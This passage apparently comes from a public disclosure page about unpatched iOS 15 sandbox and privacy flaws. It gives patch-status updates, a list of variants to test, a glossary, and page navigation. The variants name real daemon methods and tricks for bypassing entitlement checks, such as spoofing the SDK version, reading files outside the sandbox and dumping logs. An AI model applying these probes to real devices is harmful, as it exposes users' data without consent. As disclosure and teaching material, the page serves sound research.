  • Update 5: iOS 15.0.1 was released on 1 October; all three vulnerabilities were still unpatched.
  • Update 6: iOS 15.0.2 was released on 11 October; the Gamed vulnerability was quietly patched without acknowledgement or credit, and the other two were still unpatched.

Variants to test

  1. Caller-controlled version or SDK fields. Send a request with the version field set to a low value (as with sdk-version at most 524288) and see whether an entitlement-gated method returns data. A positive result is a reply containing the protected data (for example SSID and BSSID) from an app without the entitlement.
  2. Service enumeration without entitlement. Connect to a daemon that should require an entitlement and call its service-listing method (as with getServicesForPID:localPlayer:reply:). A positive result is a set of proxy objects returned to an app that lacks the entitlement.
  3. File read through utility methods. Pass absolute file URLs outside the app container to image or data loading methods (as with requestImageDataForURL:subdirectory:fileName:handler:). A positive result is file contents returned for a path the sandbox should deny.
  4. Bundle ID or identifier lookups. Send an identifier to a cache or lookup command and compare replies for installed and non-installed values. A positive result is a distinguishable reply (such as a UUID array versus an empty array) for an app that should not be able to query installation state.
  5. Log dump commands. Send a simple command string (as with command set to log-dump) to a logging daemon. A positive result is log content returned to an unentitled app.

Glossary

  • 0-day: a security flaw that is known before the vendor has fixed it; the vendor has had zero days to prepare a fix.
  • API endpoint: a specific address on a server that accepts requests and returns data.
  • App Store Connect: Apple's website where developers manage their apps, including which features are enabled for them.
  • Apple ID: the account a person uses for Apple services, identified by an email address.
  • Bounty programme: a scheme that pays researchers for reporting security flaws.
  • Bundle ID: the unique identifier of an app, such as com.example.myapp.
  • BSSID: the identifier of a specific Wi-Fi access point.
  • Core Duet: an iOS database that records how the user interacts with contacts and apps.
  • Daemon: a background system service that runs without a visible window.
  • DSID: an internal numeric identifier for an Apple account.
  • Entitlement: a permission baked into an app's signature that says what it may do.
  • Game Center: Apple's service for game scores, friends and player accounts.
  • iOS: Apple's operating system for iPhone and iPad.
  • Jailbreak: removing Apple's software restrictions from an iPhone, usually to install software Apple does not allow.
  • Mach service: a named system service on Apple platforms that other processes can connect to.
  • NSXPCConnection: Apple's higher-level API for talking to XPC services as if they were local objects.
  • Process ID (pid): the number the operating system uses to identify a running program.
  • Proof of concept (PoC): a minimal demonstration that a flaw is real.
  • Proxy object: a local stand-in for a remote service that lets code call its methods.
  • Responsible disclosure: publishing a flaw only after giving the vendor time to fix it.
  • Sandbox: the set of restrictions that keeps an app from reading other apps' or the system's data.
  • SDK version: a number identifying which version of the development kit an app was built with.
  • SSID: the name of a Wi-Fi network.
  • Swift: Apple's programming language for iOS and macOS apps.
  • TCC: Apple's privacy permission system that asks the user before apps access things like contacts or location.
  • Token: a piece of text that proves identity, like a cloakroom ticket.
  • UUID: a long random-looking identifier.
  • XPC: the mechanism Apple platforms use for processes to send messages to each other.
  • ZDI: the Zero Day Initiative, a programme that buys and discloses security flaws.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.